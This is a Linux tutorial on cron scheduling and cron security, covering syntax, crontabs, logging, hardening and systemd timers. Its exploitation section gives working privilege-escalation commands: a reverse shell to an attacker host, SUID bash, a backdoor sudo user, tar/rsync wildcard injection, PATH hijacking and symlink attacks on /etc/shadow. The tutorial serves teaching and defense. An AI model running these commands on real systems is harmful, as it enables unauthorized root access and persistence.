By Davy Rogers. Use these techniques only in environments you own or have explicit permission to test.

Cron and Scheduled Tasks

Introduction

Cron is the time-based job scheduler in Unix-like operating systems. It enables users and administrators to schedule commands or scripts (called "cron jobs") to run automatically at specified times, dates, or intervals. While cron is a powerful system administration tool, misconfigurations can create significant security vulnerabilities leading to privilege escalation.

Understanding cron is essential for:

  • System Administrators: Automating routine tasks, maintenance, and backups
  • Penetration Testers: Identifying privilege escalation vectors through scheduled tasks
  • Security Professionals: Hardening systems against cron-based attacks
  • DevOps Engineers: Implementing automated deployment and monitoring

This lesson covers cron fundamentals, scheduling syntax, security implications, exploitation techniques, defensive best practices, and advanced use cases.


Cron Fundamentals

What is Cron?

Cron consists of two main components:

crond (Cron Daemon):

  • Background service that runs continuously
  • Checks cron tables (crontabs) every minute
  • Executes scheduled commands at specified times
  • System service: systemctl status cron or systemctl status crond

crontab (Cron Table):

  • Configuration file containing scheduled jobs
  • Separate crontab for each user
  • System-wide crontab at /etc/crontab
  • Directory-based cron jobs in /etc/cron.*

Cron Hierarchy

/etc/crontab              # System-wide crontab (requires user specification)
/etc/cron.d/              # System cron jobs (requires user specification)
/etc/cron.daily/          # Daily scripts
/etc/cron.hourly/         # Hourly scripts
/etc/cron.weekly/         # Weekly scripts
/etc/cron.monthly/        # Monthly scripts
/var/spool/cron/crontabs/ # User crontabs (created with 'crontab -e')

Starting and Managing Cron Service

# Check cron status (systemd)
systemctl status cron
systemctl status crond    # RedHat/CentOS

# Start cron
sudo systemctl start cron

# Stop cron
sudo systemctl stop cron

# Restart cron
sudo systemctl restart cron

# Enable cron at boot
sudo systemctl enable cron

# View cron logs (Debian/Ubuntu)
grep CRON /var/log/syslog

# View cron logs (RedHat/CentOS)
grep CRON /var/log/cron

Crontab Syntax

Basic Structure

Crontab entries follow this format:

# ┌───────────── minute (0 - 59)
# │ ┌───────────── hour (0 - 23)
# │ │ ┌───────────── day of month (1 - 31)
# │ │ │ ┌───────────── month (1 - 12)
# │ │ │ │ ┌───────────── day of week (0 - 7) (Sunday = 0 or 7)
# │ │ │ │ │
# │ │ │ │ │
# * * * * * command to execute

Special Characters

  • * - Any value (every)
  • , - Value list separator
  • - - Range of values
  • / - Step values
  • @reboot - Run once at startup
  • @yearly - Run once a year (0 0 1 1 *)
  • @monthly - Run once a month (0 0 1 * *)
  • @weekly - Run once a week (0 0 * * 0)
  • @daily - Run once a day (0 0 * * *)
  • @hourly - Run once an hour (0 * * * *)

Example Schedules

# Run every minute
* * * * * /path/to/command

# Run every 5 minutes
*/5 * * * * /path/to/command

# Run every hour at minute 30
30 * * * * /path/to/command

# Run every day at 2:30 AM
30 2 * * * /path/to/command

# Run every Monday at 9:00 AM
0 9 * * 1 /path/to/command

# Run every 1st day of month at midnight
0 0 1 * * /path/to/command

# Run every weekday (Mon-Fri) at 6:00 PM
0 18 * * 1-5 /path/to/command

# Run every 15 minutes during business hours (9-5)
*/15 9-17 * * * /path/to/command

# Run at 10:30 PM on weekends
30 22 * * 6,7 /path/to/command

# Run at startup
@reboot /path/to/startup-script.sh

# Run daily at midnight
@daily /path/to/daily-backup.sh

# Run on the 1st and 15th of each month
0 0 1,15 * * /path/to/command

# Run every 2 hours
0 */2 * * * /path/to/command

# Run Monday through Friday at 7:30 AM and 7:30 PM
30 7,19 * * 1-5 /path/to/command

Time Calculation Examples

# Every 10 minutes
*/10 * * * *
# Runs at: 00, 10, 20, 30, 40, 50

# Hourly between 9 AM and 5 PM
0 9-17 * * *
# Runs at: 9:00, 10:00, 11:00, 12:00, 13:00, 14:00, 15:00, 16:00, 17:00

# Every 6 hours
0 */6 * * *
# Runs at: 0:00, 6:00, 12:00, 18:00

# Specific times on specific days
0 8,12,16 * * 1,3,5
# Monday, Wednesday, Friday at 8:00, 12:00, 16:00

Managing Crontabs

User Crontabs

View Current User's Crontab:

crontab -l

Edit Current User's Crontab:

crontab -e
# Opens in default editor (EDITOR environment variable)

# Set specific editor
export EDITOR=vim
crontab -e

Remove Current User's Crontab:

crontab -r

# Remove with confirmation
crontab -i -r

Install Crontab from File:

# Create crontab file
cat > my-crontab << 'EOF'
# Backup every day at 2 AM
0 2 * * * /home/user/scripts/backup.sh

# Clean temp files every hour
0 * * * * /home/user/scripts/cleanup.sh
EOF

# Install crontab
crontab my-crontab

# Verify
crontab -l

Crontab for Other Users (Root Only)

# View another user's crontab
sudo crontab -u username -l

# Edit another user's crontab
sudo crontab -u username -e

# Remove another user's crontab
sudo crontab -u username -r

System Crontabs

System-Wide Crontab (/etc/crontab):

# View system crontab
cat /etc/crontab

# Example content:
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

# Custom job
0 2 * * * root /usr/local/bin/backup.sh

Key Differences:

  • Includes user field (6th field)
  • Can set environment variables (SHELL, PATH, MAILTO)
  • Edited directly with text editor (no crontab command)

Directory-Based Cron Jobs:

# Scripts placed in these directories run automatically
/etc/cron.hourly/    # Every hour
/etc/cron.daily/     # Every day
/etc/cron.weekly/    # Every week
/etc/cron.monthly/   # Every month

# Add executable script
sudo cp script.sh /etc/cron.daily/
sudo chmod +x /etc/cron.daily/script.sh

# Scripts must be executable and should NOT have file extensions
# (or be configured in /etc/cron.d/ to allow extensions)

# View what's scheduled
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/

Cron.d Directory

Files in /etc/cron.d/ follow system crontab format:

# Create cron job file
sudo cat > /etc/cron.d/custom-backup << 'EOF'
# Backup database every 6 hours
SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

0 */6 * * * root /usr/local/bin/db-backup.sh >> /var/log/backup.log 2>&1
EOF

# Set proper permissions
sudo chmod 644 /etc/cron.d/custom-backup

Environment Variables in Cron

Cron jobs run with a minimal environment, which can cause unexpected issues.

Default Cron Environment

# View cron environment
* * * * * env > /tmp/cron-env.txt

# Default variables (minimal):
HOME=/home/username
LOGNAME=username
PATH=/usr/bin:/bin
SHELL=/bin/sh
PWD=/home/username

Setting Environment Variables

In User Crontab:

crontab -e

# Set variables at the top
SHELL=/bin/bash
PATH=/usr/local/bin:/usr/bin:/bin
HOME=/home/user
MAILTO=[email protected]

# Jobs inherit these variables
0 2 * * * /home/user/scripts/backup.sh

In Script:

#!/bin/bash
# Source environment
source /home/user/.bashrc

# Or set explicitly
export PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin
export HOME=/home/user

# Continue with commands
...

Common Environment Issues

# Problem: Command not found
0 2 * * * python script.py
# Error: python: command not found

# Solution 1: Use absolute path
0 2 * * * /usr/bin/python /home/user/script.py

# Solution 2: Set PATH in crontab
PATH=/usr/local/bin:/usr/bin:/bin
0 2 * * * python /home/user/script.py

# Problem: Script can't find files
0 2 * * * ./backup.sh
# Error: ./backup.sh: No such file or directory

# Solution: Use absolute paths or set working directory
0 2 * * * cd /home/user/scripts && ./backup.sh

# Or in script
#!/bin/bash
cd "$(dirname "$0")"
# Continue with relative paths

Logging and Output

MAILTO Variable

# Send output via email (requires mail system)
MAILTO=[email protected]

0 2 * * * /path/to/script.sh

# Disable email
MAILTO=""

# Or redirect output to /dev/null
0 2 * * * /path/to/script.sh > /dev/null 2>&1

Redirecting Output

# Redirect stdout to log file
0 2 * * * /path/to/script.sh >> /var/log/script.log

# Redirect stdout and stderr
0 2 * * * /path/to/script.sh >> /var/log/script.log 2>&1

# Redirect to separate logs
0 2 * * * /path/to/script.sh >> /var/log/script.log 2>> /var/log/script-error.log

# Discard all output
0 2 * * * /path/to/script.sh > /dev/null 2>&1

# Log with timestamp
0 2 * * * /path/to/script.sh >> /var/log/script-$(date +\%Y\%m\%d).log 2>&1

Viewing Cron Logs

# Debian/Ubuntu
grep CRON /var/log/syslog
tail -f /var/log/syslog | grep CRON

# RedHat/CentOS
grep CRON /var/log/cron
tail -f /var/log/cron

# View recent cron execution
journalctl -u cron
journalctl -u cron --since "1 hour ago"

# View specific user's cron jobs
journalctl -t CRON | grep username

Security Implications

Privilege Escalation via Cron

Cron jobs often run with elevated privileges, creating potential privilege escalation vectors:

Common Vulnerabilities:

  1. Writable cron scripts running as root
  2. Wildcard injection in cron commands
  3. PATH hijacking with relative paths
  4. Writable directories in cron script paths
  5. World-writable files processed by cron jobs
  6. Symlink attacks on temporary files

Enumerating Cron Jobs

During Security Assessment:

# View system crontab
cat /etc/crontab

# List system cron directories
ls -la /etc/cron.*
ls -la /etc/cron.d/

# View user crontabs (if readable)
ls -la /var/spool/cron/crontabs/
cat /var/spool/cron/crontabs/*

# Check for writable cron scripts
find /etc/cron* -type f -perm -o+w

# Systemd timers (modern alternative to cron)
systemctl list-timers --all

Process Monitoring with pspy:

pspy monitors processes without root privileges - excellent for discovering hidden cron jobs:

# Download pspy
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64

# Run and observe
./pspy64

# Watch for commands running as UID 0 (root)
# Example output:
# 2023/10/01 14:00:01 CMD: UID=0    PID=12345  | /usr/bin/python /root/scripts/backup.py

This reveals:

  • Hidden cron jobs not visible in crontabs
  • Commands with full arguments (including credentials)
  • Process hierarchy and parent/child relationships

Exploitation Techniques

1. Writable Cron Script

If a cron job runs a script you can modify:

Scenario:

# Cron job running as root
cat /etc/crontab
*/5 * * * * root /usr/local/bin/backup.sh

# Check if writable
ls -la /usr/local/bin/backup.sh
-rwxrwxrwx 1 root root 245 Oct 1 10:00 /usr/local/bin/backup.sh
# World-writable!

Exploitation:

# Method 1: Add reverse shell
echo 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1' >> /usr/local/bin/backup.sh

# Method 2: Add SUID bash
echo 'chmod +s /bin/bash' >> /usr/local/bin/backup.sh

# Method 3: Add backdoor user
echo 'useradd -m -p $(openssl passwd -1 password123) backdoor' >> /usr/local/bin/backup.sh
echo 'usermod -aG sudo backdoor' >> /usr/local/bin/backup.sh

# Wait for cron execution (up to 5 minutes)
watch -n 1 ls -la /bin/bash

# Use SUID bash
/bin/bash -p
whoami
# root

2. Wildcard Injection

When cron jobs use wildcards with commands like tar, rsync, chown:

Vulnerable Cron Job:

# /etc/crontab
*/10 * * * * root cd /backups && tar czf backup.tar.gz *

Tar Wildcard Exploitation:

# Navigate to target directory
cd /backups

# Create malicious script
cat > shell.sh << 'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF

chmod +x shell.sh

# Create checkpoint files (tar interprets these as options)
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'

# List files
ls -la
# -rw-r--r-- 1 user user    0 Oct 1 10:00 --checkpoint=1
# -rw-r--r-- 1 user user    0 Oct 1 10:00 --checkpoint-action=exec=sh shell.sh
# -rwxr-xr-x 1 user user   34 Oct 1 10:00 shell.sh

# Wait for cron execution
# When tar runs:
# tar czf backup.tar.gz *
# Expands to:
# tar czf backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh shell.sh file1 file2 ...

# Check for SUID bash
watch -n 1 ls -la /bin/bash

# Use SUID bash
/bin/bash -p

Rsync Wildcard Exploitation:

# Vulnerable: rsync -a * /backup/

# Create malicious files
echo 'chmod +s /bin/bash' > shell.sh
chmod +x shell.sh
touch -- '-e sh shell.sh'

# When rsync runs:
# rsync -a * /backup/
# Becomes:
# rsync -a -e sh shell.sh file1 file2 ... /backup/
# -e flag executes shell.sh

Chown Wildcard Exploitation:

# Vulnerable: chown user:user *

# Create symlink to sensitive file
ln -s /etc/passwd pwned
ln -s /etc/shadow pwned2

# When chown runs:
# chown user:user *
# Changes ownership of /etc/passwd and /etc/shadow to user

# Now can modify these files

3. PATH Hijacking

When cron scripts use relative paths:

Vulnerable Script (/usr/local/bin/cleanup.sh):

#!/bin/bash
# Uses relative path
rm -rf /tmp/*
service nginx restart
# 'service' command used without absolute path

Exploitation:

# Create malicious 'service' command
cat > /tmp/service << 'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF

chmod +x /tmp/service

# Check script's PATH
# If script doesn't set PATH explicitly, default cron PATH is used
# /usr/bin:/bin

# Modify PATH in cron (if we control crontab)
# Or place malicious binary earlier in PATH

# Wait for execution
watch -n 1 ls -la /bin/bash

# Use SUID bash
/bin/bash -p

4. Writable Script Directory

If the directory containing the cron script is writable:

Scenario:

# Cron job
*/5 * * * * root /opt/scripts/backup.sh

# Check directory permissions
ls -ld /opt/scripts
drwxrwxrwx 2 root root 4096 Oct 1 10:00 /opt/scripts
# World-writable directory!

Exploitation:

# Replace script with malicious version
mv /opt/scripts/backup.sh /opt/scripts/backup.sh.bak

cat > /opt/scripts/backup.sh << 'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF

chmod +x /opt/scripts/backup.sh

# Wait for cron execution
watch -n 1 ls -la /bin/bash

# Use SUID bash
/bin/bash -p

Cron jobs creating temporary files:

Vulnerable Script:

#!/bin/bash
# Creates temp file with predictable name
TEMP=/tmp/backup-data.tmp
echo "Backing up..." > $TEMP
# Process data
tar czf /backups/backup.tar.gz -T $TEMP
rm $TEMP

Exploitation:

# Create symlink before cron runs
ln -s /etc/shadow /tmp/backup-data.tmp

# When cron script runs:
# echo "Backing up..." > /tmp/backup-data.tmp
# Overwrites /etc/shadow!

# Or symlink to file we want backed up
ln -s /root/.ssh/id_rsa /tmp/backup-data.tmp

# Backup file will contain root's SSH key

6. Race Conditions

Exploiting time-of-check-time-of-use (TOCTOU) vulnerabilities:

Vulnerable Script:

#!/bin/bash
FILE=/tmp/data.txt

if [ -f "$FILE" ]; then
    # Check if owned by root
    if [ "$(stat -c %U $FILE)" = "root" ]; then
        # Process file
        cat $FILE | sensitive-operation
    fi
fi

Exploitation (requires precise timing):

# Create legitimate file
touch /tmp/data.txt

# Run exploitation loop
while true; do
    # Replace file with symlink during race window
    ln -sf /etc/shadow /tmp/data.txt
    sleep 0.001
    touch /tmp/data.txt
done

# If timing is right, script reads /etc/shadow

Practical Exploitation Scenarios

Scenario 1: Writable Backup Script

Environment:

  • Ubuntu 20.04 server
  • User: www-data (web shell)
  • Goal: Escalate to root

Enumeration:

# Check system crontab
cat /etc/crontab
# */15 * * * * root /usr/local/bin/backup.sh

# Check script permissions
ls -la /usr/local/bin/backup.sh
# -rwxrwxrwx 1 root root 156 Oct 1 09:00 /usr/local/bin/backup.sh

# World-writable!

Exploitation:

# Add malicious code to script
echo 'chmod +s /bin/bash' >> /usr/local/bin/backup.sh

# Wait for cron (up to 15 minutes)
watch -n 10 ls -la /bin/bash

# Once SUID bit is set:
/bin/bash -p
whoami
# root

Scenario 2: Tar Wildcard in Backup Directory

Environment:

  • CentOS 7 server
  • User: backup (limited privileges)
  • Cron: */10 * * * * root cd /var/backups && tar czf backup.tar.gz *

Exploitation:

# Navigate to backup directory
cd /var/backups

# Create exploit files
cat > shell.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF

chmod +x shell.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'

# Wait for cron execution (up to 10 minutes)
watch -n 10 ls -la /tmp/rootbash

# Once created:
/tmp/rootbash -p
whoami
# root

Scenario 3: PATH Hijacking via Cron

Environment:

  • Debian 11 server
  • User: webadmin with crontab access
  • Script: /home/webadmin/scripts/cleanup.sh uses relative commands

Enumeration:

# View user's crontab
crontab -l
# */20 * * * * /home/webadmin/scripts/cleanup.sh

# Check script
cat /home/webadmin/scripts/cleanup.sh
#!/bin/bash
cd /var/www/tmp
rm -rf *
service apache2 reload

# Uses relative 'service' command!

Exploitation:

# Create malicious 'service' command
mkdir -p /home/webadmin/bin
cat > /home/webadmin/bin/service << 'EOF'
#!/bin/bash
chmod +s /bin/bash
# Execute real service to avoid suspicion
/usr/sbin/service "$@"
EOF

chmod +x /home/webadmin/bin/service

# Modify crontab to hijack PATH
crontab -l > /tmp/crontab.bak
cat > /tmp/new-crontab << 'EOF'
PATH=/home/webadmin/bin:/usr/local/bin:/usr/bin:/bin
*/20 * * * * /home/webadmin/scripts/cleanup.sh
EOF

crontab /tmp/new-crontab

# Wait for execution
watch -n 10 ls -la /bin/bash

# Use SUID bash
/bin/bash -p

Defense and Best Practices

Secure Cron Configuration

Principle of Least Privilege:

# Run cron jobs as specific users, not root
# In /etc/crontab or /etc/cron.d/:
0 2 * * * backup /usr/local/bin/backup.sh
# Instead of:
0 2 * * * root /usr/local/bin/backup.sh

# Create dedicated service accounts
sudo useradd -r -s /bin/false backupuser
sudo chown backupuser:backupuser /usr/local/bin/backup.sh

Restrict Cron Access:

# Allow only specific users
sudo cat > /etc/cron.allow << 'EOF'
root
admin
backup
EOF

# Or deny specific users
sudo cat > /etc/cron.deny << 'EOF'
guest
testuser
EOF

# Note: cron.allow takes precedence over cron.deny

Secure File Permissions:

# Cron scripts should not be world-writable
sudo chmod 750 /usr/local/bin/cron-script.sh
sudo chown root:root /usr/local/bin/cron-script.sh

# Check for insecure permissions
find /etc/cron* -type f -perm -o+w
find /usr/local/bin -type f -perm -o+w -user root

# Fix permissions
sudo chmod 644 /etc/crontab
sudo chmod 644 /etc/cron.d/*
sudo chmod 755 /etc/cron.daily/*
sudo chmod 755 /etc/cron.hourly/*
sudo chmod 755 /etc/cron.weekly/*
sudo chmod 755 /etc/cron.monthly/*

# Crontab directories
sudo chmod 700 /var/spool/cron
sudo chmod 700 /var/spool/cron/crontabs

Secure Scripting Practices

Use Absolute Paths:

#!/bin/bash
# Bad - Relative paths
tar czf backup.tar.gz /data
service apache2 restart

# Good - Absolute paths
/bin/tar czf /backups/backup.tar.gz /data
/usr/sbin/service apache2 restart

Set Explicit PATH:

#!/bin/bash
# Set secure PATH at start of script
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export PATH

# Continue with script

Quote Variables:

#!/bin/bash
# Bad - Unquoted variables
FILE=/path/to/file
rm $FILE

# If FILE contains spaces or wildcards, unexpected behavior

# Good - Quoted variables
FILE="/path/to/file"
rm "$FILE"

Avoid Wildcards in Dangerous Commands:

#!/bin/bash
# Bad - Wildcard injection vulnerability
cd /backups
tar czf backup.tar.gz *

# Good - Explicit file list
cd /backups
tar czf backup.tar.gz -C /backups .

# Or use find
find /backups -maxdepth 1 -type f -print0 | tar czf backup.tar.gz --null -T -

Use Safe Temporary Files:

#!/bin/bash
# Bad - Predictable temp file
TEMP=/tmp/backup.tmp

# Good - Use mktemp
TEMP=$(mktemp) || exit 1
trap "rm -f $TEMP" EXIT

# Use $TEMP safely
echo "data" > "$TEMP"

# File automatically deleted on exit

Validate Input:

#!/bin/bash
# If script accepts arguments
if [ $# -ne 1 ]; then
    echo "Usage: $0 <directory>"
    exit 1
fi

DIR="$1"

# Validate directory exists and is actually a directory
if [ ! -d "$DIR" ]; then
    echo "Error: $DIR is not a valid directory"
    exit 1
fi

# Validate no special characters
if [[ "$DIR" =~ [^a-zA-Z0-9/_-] ]]; then
    echo "Error: Invalid characters in directory name"
    exit 1
fi

# Continue with validated input

Monitoring and Auditing

Log Cron Execution:

# In scripts, add logging
#!/bin/bash
LOG="/var/log/my-cron-job.log"

echo "$(date) - Starting backup" >> "$LOG"

# Execute commands
/usr/local/bin/backup.sh >> "$LOG" 2>&1

echo "$(date) - Backup completed" >> "$LOG"

Enable Detailed Cron Logging:

# Edit rsyslog configuration (Debian/Ubuntu)
sudo nano /etc/rsyslog.d/50-default.conf

# Uncomment:
cron.*                          /var/log/cron.log

# Restart rsyslog
sudo systemctl restart rsyslog

# Now view detailed cron logs
tail -f /var/log/cron.log

Audit Cron Jobs:

# Create audit script
sudo cat > /usr/local/bin/audit-cron.sh << 'EOF'
#!/bin/bash

echo "=== System Crontab ==="
cat /etc/crontab

echo -e "\n=== /etc/cron.d/ ==="
ls -la /etc/cron.d/
cat /etc/cron.d/*

echo -e "\n=== Cron Scripts ==="
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/

echo -e "\n=== User Crontabs ==="
for user in $(cut -f1 -d: /etc/passwd); do
    crontab -u $user -l 2>/dev/null && echo "User: $user"
done

echo -e "\n=== Writable Cron Files ==="
find /etc/cron* -type f -perm -o+w 2>/dev/null

echo -e "\n=== Recently Modified Cron Files ==="
find /etc/cron* -type f -mtime -7 2>/dev/null -exec ls -la {} \;

EOF

chmod +x /usr/local/bin/audit-cron.sh

# Run audit
sudo /usr/local/bin/audit-cron.sh

Use auditd for Monitoring:

# Install auditd
sudo apt install auditd

# Monitor crontab modifications
sudo auditctl -w /etc/crontab -p wa -k crontab_changes
sudo auditctl -w /etc/cron.d/ -p wa -k crontab_changes
sudo auditctl -w /var/spool/cron/ -p wa -k crontab_changes

# Monitor execution of cron scripts
sudo auditctl -w /usr/local/bin/backup.sh -p x -k cron_exec

# View audit logs
sudo ausearch -k crontab_changes
sudo ausearch -k cron_exec

Alternative: Systemd Timers

Modern Linux systems use systemd timers as an alternative to cron:

Benefits Over Cron

  • More precise scheduling
  • Better logging integration (journalctl)
  • Dependencies between units
  • Resource control (cgroups)
  • Better error handling

Creating Systemd Timer

Service File (/etc/systemd/system/backup.service):

[Unit]
Description=Backup Service
Wants=backup.timer

[Service]
Type=oneshot
ExecStart=/usr/local/bin/backup.sh

[Install]
WantedBy=multi-user.target

Timer File (/etc/systemd/system/backup.timer):

[Unit]
Description=Run backup daily
Requires=backup.service

[Timer]
OnCalendar=daily
Persistent=true

[Install]
WantedBy=timers.target

Managing Timer:

# Reload systemd
sudo systemctl daemon-reload

# Enable timer
sudo systemctl enable backup.timer

# Start timer
sudo systemctl start backup.timer

# Check timer status
sudo systemctl status backup.timer
sudo systemctl list-timers

# View logs
sudo journalctl -u backup.service

Practical Examples

Automated Backup

#!/bin/bash
# /usr/local/bin/backup.sh

# Set secure environment
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export PATH

# Configuration
BACKUP_DIR="/backups"
DATE=$(date +%Y%m%d_%H%M%S)
LOG="/var/log/backup.log"

# Create backup
echo "$(date) - Starting backup" >> "$LOG"

/bin/tar czf "$BACKUP_DIR/backup_$DATE.tar.gz" \
    /var/www \
    /etc \
    /home \
    >> "$LOG" 2>&1

if [ $? -eq 0 ]; then
    echo "$(date) - Backup completed successfully" >> "$LOG"
    # Delete backups older than 7 days
    find "$BACKUP_DIR" -name "backup_*.tar.gz" -mtime +7 -delete
else
    echo "$(date) - Backup failed!" >> "$LOG"
    exit 1
fi

Crontab Entry:

# Daily backup at 2 AM
0 2 * * * /usr/local/bin/backup.sh

Database Backup

#!/bin/bash
# /usr/local/bin/db-backup.sh

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export PATH

DB_USER="backup"
DB_PASS="secure_password"
DB_NAME="production"
BACKUP_DIR="/backups/database"
DATE=$(date +%Y%m%d_%H%M%S)

# Create backup
/usr/bin/mysqldump -u "$DB_USER" -p"$DB_PASS" "$DB_NAME" | \
    /bin/gzip > "$BACKUP_DIR/${DB_NAME}_$DATE.sql.gz"

# Keep only last 14 backups
cd "$BACKUP_DIR"
ls -t ${DB_NAME}_*.sql.gz | tail -n +15 | xargs rm -f

Crontab Entry:

# Every 6 hours
0 */6 * * * /usr/local/bin/db-backup.sh >> /var/log/db-backup.log 2>&1

Log Rotation

#!/bin/bash
# /usr/local/bin/rotate-logs.sh

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
LOG_DIR="/var/log/myapp"

# Compress yesterday's logs
find "$LOG_DIR" -name "*.log" -mtime +1 -exec gzip {} \;

# Delete logs older than 30 days
find "$LOG_DIR" -name "*.log.gz" -mtime +30 -delete

Crontab Entry:

# Daily at 1 AM
0 1 * * * /usr/local/bin/rotate-logs.sh

Summary

Cron is a powerful task scheduler that requires careful security consideration:

Key Concepts:

  • Time-based job scheduler for Unix/Linux
  • User and system crontabs with different privilege contexts
  • Crontab syntax for flexible scheduling
  • Environment variables affect execution

Security Risks:

  • Writable cron scripts running with elevated privileges
  • Wildcard injection in tar, rsync, chown commands
  • PATH hijacking with relative command paths
  • Symlink attacks on predictable temporary files
  • Race conditions in file operations

Exploitation Techniques:

  • Modify writable cron scripts to execute malicious code
  • Use wildcard injection to pass options to commands
  • Hijack PATH to execute malicious binaries
  • Monitor with pspy to discover hidden cron jobs

Defense Strategies:

  • Principle of least privilege (run as non-root when possible)
  • Secure file permissions (no world-writable scripts)
  • Use absolute paths in all scripts
  • Quote all variables and avoid wildcards
  • Restrict cron access with cron.allow/cron.deny
  • Regular auditing and monitoring of cron jobs
  • Consider systemd timers as modern alternative

Best Practices:

  • Always use absolute paths in cron scripts
  • Set explicit PATH at script start
  • Use mktemp for temporary files
  • Validate all input
  • Log execution for accountability
  • Test cron jobs thoroughly before deployment

Mastering cron security is essential for both maintaining secure automated systems and identifying privilege escalation vectors during security assessments.


Resources